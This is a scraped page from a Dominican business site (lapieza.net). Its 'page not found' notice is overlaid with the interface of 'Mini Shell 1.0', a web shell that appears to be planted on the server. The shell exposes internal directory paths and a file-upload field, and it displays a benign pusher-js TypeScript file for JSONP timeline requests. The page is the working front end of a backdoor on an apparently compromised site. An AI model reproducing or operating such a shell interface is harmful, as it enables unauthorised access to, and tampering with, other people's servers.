HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/node_modules/pusher-js/src/runtimes/web/timeline/
Upload File :
Current File : /var/www/devs.lapieza.net/node_modules/pusher-js/src/runtimes/web/timeline/jsonp_timeline.ts
import TimelineSender from 'core/timeline/timeline_sender';
import TimelineTransport from 'core/timeline/timeline_transport';
import Browser from 'runtime';
import { AuthTransport } from 'core/auth/auth_transports';
import { ScriptReceivers } from '../dom/script_receiver_factory';

var getAgent = function(sender: TimelineSender, useTLS: boolean) {
  return function(data: any, callback: Function) {
    var scheme = 'http' + (useTLS ? 's' : '') + '://';
    var url =
      scheme + (sender.host || sender.options.host) + sender.options.path;
    var request = Browser.createJSONPRequest(url, data);

    var receiver = Browser.ScriptReceivers.create(function(error, result) {
      ScriptReceivers.remove(receiver);
      request.cleanup();

      if (result && result.host) {
        sender.host = result.host;
      }
      if (callback) {
        callback(error, result);
      }
    });
    request.send(receiver);
  };
};

var jsonp = {
  name: 'jsonp',
  getAgent
};

export default jsonp;